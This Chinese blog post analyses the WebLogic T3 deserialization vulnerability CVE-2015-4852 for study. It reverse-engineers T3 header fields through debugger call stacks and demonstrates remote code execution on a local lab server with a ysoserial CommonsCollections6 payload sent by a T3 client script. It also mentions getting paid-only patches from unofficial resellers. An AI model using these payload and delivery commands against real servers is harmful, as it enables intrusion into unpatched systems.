Weblogic安全漫谈(一)

前言

@frohoff在2015年初发现commons-collections的反序列化利用链并发布了ysoserial工具[1]。9个月后,@breenmachine对众多知名Java中间件的利用文章[2]使Java反序列化漏洞变得广为人知,Weblogic中首当其冲的就是大家多少都有点耳熟的T3协议反序列化。本篇从CVE-2015-4852入手了解T3协议的构造,作为后续T3反序列化漏洞学习和利用的基础。

环境搭建与补丁定位

Weblogic官网提供无补丁的初始版本下载[3],为了方便后续调试分析可以先把几个大版本的安装包(Generic)、以及某些有较大安全特性变化的JDK准备好。

官方只为付费帐户提供安全补丁的下载权限,但普通账户在高级搜索页面[4]列出对应版本的补丁号与发布时间,结合官方安全公告页的CVE发布时间[5],基本可以让CVE对应上Patch。

有了Patch号可以通过CSDN+某宝积分或者某鱼卖家等等方式下到补丁,Patch详情页里可以看到哈希,有官方原版zip洁癖的同学也可以对一下。

环境搭建时,用WeblogicEnvironment[6]构建不同JDK与Weblogic版本的docker镜像会比较方便,后续也能用容器区分不同的补丁版本。运行前需要参考issues/8改一下Dockerfile,另外就是根据个人需要做适当调整了,比如Weblogic开启的远程调试端口默认为8453(对应IDEA默认的5005)、调整JDK版本等等。

CVE-2015-4852

《攻击JavaRMI概述》[7]中说过JavaRMI机制基于JRMP协议通信,Weblogic有一个与JRMP同类的应用层协议就是T3。T3协议用在Weblogic的这类商用产品当中,协议实现并不开源且没有文档,小编主要靠连蒙带猜和逆向去管中窥豹。

/u01/app/oracle/Domains/ExampleSilentWTDomain/bin/stopWebLogic.sh用到了T3协议去停掉Weblogic,在执行前挂上tcpdump -i any -w t3-stop.pcap抓一下数据包。

Java原生序列化流通过十六进制为ac ed 00 05的字节作为开头的标识(黑话管它叫做魔术字节),ysoserial也正是通过原生序列化生成的payload,自然能简单粗暴地想到是不是直接替换就行了,那么要替换掉哪些部分呢?能看出先进行了第一次通信,请求和响应都是可读的ASCII字符,后续的的请求中似乎也没有用到响应的内容。

把第二次请求字节流扒下来反序列化并处理异常后可以发现存在五个Object,因为WebServer每个请求通常会起一个新的线程来处理,不用担心像内核Pwn一样没处理好异常整个系统蹦掉,那么从第一处魔术字节开始替换为payload,后续部分抛掉不管必然会报错,但问题不大,将原本第二次请求的A + Serial + B + Serial + ...改成A + Payload

构造如下脚本用作发送payload的客户端,它好比航天发射场组装火箭后打出去,payload就是火箭里用于开展科学实验的载荷。

那么问题来了,首先是为什么要先经过第一次通信交互(t3Bootstrap)。我们大家都知道在黑盒打不通的时候通常都是打不通的,对此小编也感到很惊讶,将payload硬莽过去只会得不到响应。这就如同需要用火箭将实验载荷送到预定轨道一样。

第二个问题是payload前加上的那些字节数据是干嘛的,即火箭为什么要设计构建成这样?自然是为了让载荷顺利进入预定轨道。相信有的同学想喷我了,这里看似相互解释了实则什么都没解释,如果前面还能从没响应的现象下手企图蒙混过关,但这里不啃代码是圆不过去了。

我知道你很急,但你先别急。我们先来看看稍微简单一点的第三个问题,即payload用什么?要使用ysoserial生成的CC链就需要看目标环境有没有相应依赖,快速但不准确的方法是直接找有没有Jar包。

# find /u01/ -name "*commons*collections*.jar"
/u01/app/oracle/middleware/modules/com.bea.core.apache.commons.collections_3.2.0.jar
  • 为了更精确定位则可以采用META-INF等信息判断版本、运行时相应上下文能否调到关键类等等方法。

如此我们便能利用这个祖师爷漏洞,对着周朝出土的Weblogic一顿RCE了:

java -jar ysoserial.jar CommonsCollections6 "touch /tmp/pwned" > /tmp/poc.ser

python3 t3client.py 127.0.0.1 7001 /tmp/poc.ser

# ls -al /tmp/ | grep 'pwned'
-rw-r----- 1 root root    0 Feb 17 17:18 pwned

逆向T3协议头

图片

猜测关键词暴力搜索后,找到第一次交互时响应数据的来源。下断点得到调用栈:

connectReplyOK:160, Login (weblogic.socket)
readBootstrapMessage:189, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:323, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
dispatch:185, MuxableSocketDiscriminator (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

 

 MuxableSocketT3#dispatch方法根据bootstrapped来判断连接是否经readBootstrapMessage方法初始化过,解析提取的就是上文首次通信时发给服务端的数据。(这是10.3.6.0的位置,12.2.1.3在com.oracle.weblogic.rjvm.jarweblogic/rjvm/t3/MuxableSocketT3#readIncomingConnectionBootstrapMessage

 

MuxableSocketDiscriminator#dispatch方法根据协议名将请求分配给HTTP、T3等不同处理类,以此实现端口复用。

图片

再将断点下在ObjectInputStream#readObject并得到第二次请求时的调用栈:

readObject0:1327, ObjectInputStream (java.io)
readObject:349, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:215, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

数据由MsgAbbrevInputStream#init调用各个方法解析。先看super.init(chunk, 4),最终前4字节被skip掉:

图片

这4个字节其实就是EXP中的chunkLength,表示包括自己在内的这段Header的字节长度,可以偷懒直接赋0。

继续看到readHeader方法中存在大量标识数据:

图片

cmd字节应该是指代通信类型,可以从weblogic/rjvm/JVMMessage类中的变量名看出:

 static final byte CMD_UNDEFINED = 0;
    static final byte CMD_IDENTIFY_REQUEST = 1;
    static final byte CMD_IDENTIFY_RESPONSE = 2;
    static final byte CMD_REQUEST_CLOSE = 11;
    static final byte CMD_IDENTIFY_REQUEST_CSHARP = 12;
    static final byte CMD_IDENTIFY_RESPONSE_CSHARP = 13;
    static final byte CMD_NO_ROUTE_IDENTIFY_REQUEST = 9;
    static final byte CMD_TRANSLATED_IDENTIFY_RESPONSE = 10;
    static final byte CMD_PEER_GONE = 3;
    static final byte CMD_ONE_WAY = 4;
    static final byte CMD_REQUEST = 5;
    static final byte CMD_RESPONSE = 6;
    static final byte CMD_ERROR_RESPONSE = 7;
    static final byte CMD_INTERNAL = 8;

没猜到QOS字节的含义,类初始化时被赋为十进制101,所以EXP同样用了这个值。

flags字节从后面getFlag方法可以看出用来从二进制位控制hasJVMIDshasTXhasTrace(类比Linux的rwx权限与777)。

responseId字节用于标识通信顺序、invokeableId字节用于标识被调用的方法,目前用不到置为初始值-1。

abbrevOffset字节顾名思义是abbrev的偏移长度,表示Header结尾处 相距 后面字节流MsgAbbrevs部分的距离,在init方法中会被skip掉,EXP中直接赋0表示没有额外的数据需要跳过。

读完Header部分继续进入到readMsgAbbrevs方法中,会调用InboundMsgAbbrev#read方法:

length就是EXP中的countLength,可以看到这个值对应for循环的次数。

length2就是EXP中的capacityLengthbubblingAbbrever.getCapacity()拿到的就是第一次请求中的AS,要设置得比它大才会进入readObeject分支。

最后进入重写的有参readObject中,msgAbbrevInputStream.read()读到的字节是十进制0时进入无参readObject。但ServerChannelInputStream没有重写无参readObject,所以最终进到父类ObjectInputStreamreadObject衔接上CC链。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/303312.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

家用洗地机哪款好用?洗地机品牌排行榜推荐

在如今的日常生活中,家用洗地机已经成为了家庭清洁中不可或缺的工具。然而,市面上各种不同品牌型号的洗地机让人眼花缭乱,让人难以选择。那么,家用洗地机现在买什么牌子质量好呢?为了解答这个问题,笔者选了几款品牌质…

Vue3+Vite打包跨平台(七牛、阿里OSS)上传部署前端项目

1、业务场景 阅读之前,想了解一下各位观众老爷们,你们公司的项目是怎么部署的: 1.本地打包手动上传服务器; 2.本地打包自动上传服务器; 3.代码仓库流水线自动构建; 4.其他…; 我们用的第3种部…

【Linux Shell】11. 输入/输出 重定向

文章目录 【 1. 重定向简介 】【 2. 输出重定向 】【 3. 输入重定向 】【 4. Here Document 】【 5. /dev/null 文件 】 【 1. 重定向简介 】 大多数 UNIX 系统命令从终端接受输入并将所产生的输出发送回​​到原来输入的终端。一个命令通常从标准输入的地方读取输入&#xff…

MySql8的那些不为人知的秘密揭晓

前言 MySQL 8.0 是MySQL数据库的一个重大版本更新,带来了许多改进和新功能。以下是MySQL 8.0的一些主要改进: 事务控制:引入了原子性、一致性、隔离性和持久性(ACID)的事务支持。该版本的MySQL引入了新的事务日志存储引…

Mysql大数据量下流式查询优化:Jdbc中的useFetchSize参数及其原理解析

前言 最近我朋友公司有个需求场景:查询千万级数据量并写入txt文件的程序优化需求。 朋友找到我对程序进行优化, 不然饭碗不保......💦 下面就分享一下解决这个优化问题的过程和思路,并总结一下,在以后不要在踩同样的坑…

4.4 TILING FOR REDUCED MEMORY TRAFFIC

我们在CUDA中使用设备内存方面有一个内在的权衡:全局内存大但速度慢,而共享内存小但速度快。一个常见的策略是将数据划分为称为tile的子集,以便每个tile都适合共享内存。tile一词”借鉴了一个类比,即大墙(即全局内存数…

基于协同过滤推荐的购物系统

介绍 本购物系统是一个基于协同过滤推荐算法的电商平台,使用 Python Django 框架、Django-simpleui 前端框架和 Vue、Element-Plus UI 组件库构建而成。该系统可根据关键词、分类等搜索筛选商品,并提供了个性化推荐功能,根据用户的历史订单、…

linux日志管理

一.inode与block 访问文件的流程: 根据文件夹的文件名和inode号,找到对应的inode表,再根据inode表的指针找到磁盘上的真实数据 tips:我磁盘空间还剩很多,但是无法建立文件? 因为inode号被分完了 解决方法&a…

交通银行网上支付接口调用测试实例

公司最近有一个网站商城项目要开始开发了,这几天老板和几个同事一起开着需求会议, 讨论了接下来的业务规划和需求策略,等技术需求一下来还要讨论技术需求, 确认后再慢慢的进入开发阶段,趁着闲暇时间新造的人想总结一…

C语言中常用的字符串函数(strlen、sizeof、sscanf、sprintf、strcpy)

C语言中常用的字符串函数 文章目录 C语言中常用的字符串函数1 strlen函数2 sizeof函数2.1 sizeof介绍2.2 sizeof用法 3 sscanf函数3.1 sscanf介绍3.2 sscanf用法3.3 sscanf高级用法 4 sprintf函数4.1 背景4.2 sprintf用法 5 strcpy函数5.1 strcpy介绍5.1 strcpy用法 1 strlen函…

算法第十四天-删除有序数组中的重复项

删除有序数组中的重复项 题目要求 解题思路 双指针 左指针确定不重复值,右指针遍历数组 代码 class Solution:def removeDuplicates(self, nums: List[int]) -> int:left0for right in range(1,len(nums)):if nums[left] ! nums[right]:left 1nums[left] nu…

【问题】SpringBoot项目中log4j与logback的Jar包冲突问题

这篇文章主要给大家介绍了解决SpringBoot项目中log4j与logback的Jar包冲突问题,文中有详细的解决方法和冲突的原因。 SLF4J: Class path contains multiple SLF4J bindings. SLF4J: Found binding in [jar:file:/C:/Users/lx/.m2/repository/org/slf4j/slf4j-log4j12/1.7.25/sl…

【工具】推荐一个好用的代码画图工具

PlantUML 官网地址:https://plantuml.com/zh/ 跳转 支持各种结构化数据画图支持代码调用jar包生成图片 提供在线画图能力 https://www.plantuml.com/plantuml/uml/SyfFKj2rKt3CoKnELR1Io4ZDoSa70000 有兴趣可以尝试下 over~~

20.Activity跳转时的参数传递

(1).如何传递数据 (2).如何接收数据 (3).如何回传数据

消息队列-RockMQ-批量收发实践

批量收发实战 发送消息是需要网络连接的如果我们单条发送吞吐量可能没有批量发送好。剖来那个发送可以减少网络IO开销,但是也不能一批次发送太多的数据,需要根据每条消息的大小和网络带宽来确定量的数目。 比如网络带宽为可以支持一次性发送8M的数据包&…

工业异常检测AnomalyGPT-Demo试跑

写在前面:如果你有大的cpu和gpu可以使用,直接根据官方的安装说明就可以,如果没有,可以点进来试着看一下我个人的安装经验。 一、试跑环境 NVIDIA4090显卡24g,cpu内存33G,交换空间8g,操作系统ubuntu22.04(试跑过程cpu…

OCP NVME SSD规范解读-5.命令超时限制

在"4.7 Command Timeout"章节中,详细定义了NVMe命令的超时要求和限制。 CTO-1:NVMe管理命令和TCG(可信计算组)命令从提交到完成不应超过10秒,且没有其他命令未完成(QD1)。CTO-1不适用…

九州金榜|家庭教育小技巧如何培养优秀孩子

信任和期望可以激发孩子的智商和能力,孩子是否出色,取决于家长们如何去“套路”去“培养”。 优秀的孩子不是逼出来的,而是被父母套路出来的,引导孩子找到自我价值感,才是家庭教育中最重要的一课! 曾经看…

Python自动化办公之PDF拆分

今天我们继续分享真实的自动化办公案例,希望各位 Python 爱好者能够从中得到些许启发,在自己的工作生活中更多的应用 Python,使得工作事半功倍! 需求 需要从 PDF 中取出几页并将其保存为新的 PDF,为了后期使用方便&a…

21. Mysql 事件或定时任务,解放双手,轻松实现自动化

文章目录 概念常见操作事件调度器操作查看事件创建事件删除事件启动与关闭事件 精选示例构造实时数据定时统计数据 总结参考资料 概念 Mysql 事件是一种在特定时间点自动执行的数据库操作,也可以称呼为定时任务,它可以自动执行更新数据、插入数据、删除…